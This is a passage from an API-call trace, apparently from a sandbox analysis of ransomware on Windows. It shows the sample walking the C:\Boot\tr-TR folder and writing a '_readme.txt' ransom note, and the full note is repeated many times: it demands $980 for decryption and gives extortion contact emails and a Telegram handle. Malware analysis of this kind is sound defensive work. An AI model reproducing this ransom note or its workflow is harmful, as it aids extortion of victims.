Size=0x830) returned 0x30c8ab8 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.347] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.347] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.348] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.348] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.348] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.348] PathFindFileNameW (pszPath="") returned="" [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.348] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.348] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.348] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.348] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.348] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0059.348] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.349] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.349] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0059.349] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.349] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.349] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.350] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.350] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.350] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.350] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.350] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.350] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.351] CloseHandle (hObject=0x5c0) returned 1 [0059.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.351] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.351] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.351] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.352] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.352] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.352] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.352] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.352] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.352] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.352] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.352] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.353] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.353] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.354] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.354] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.354] HeapFree (in: 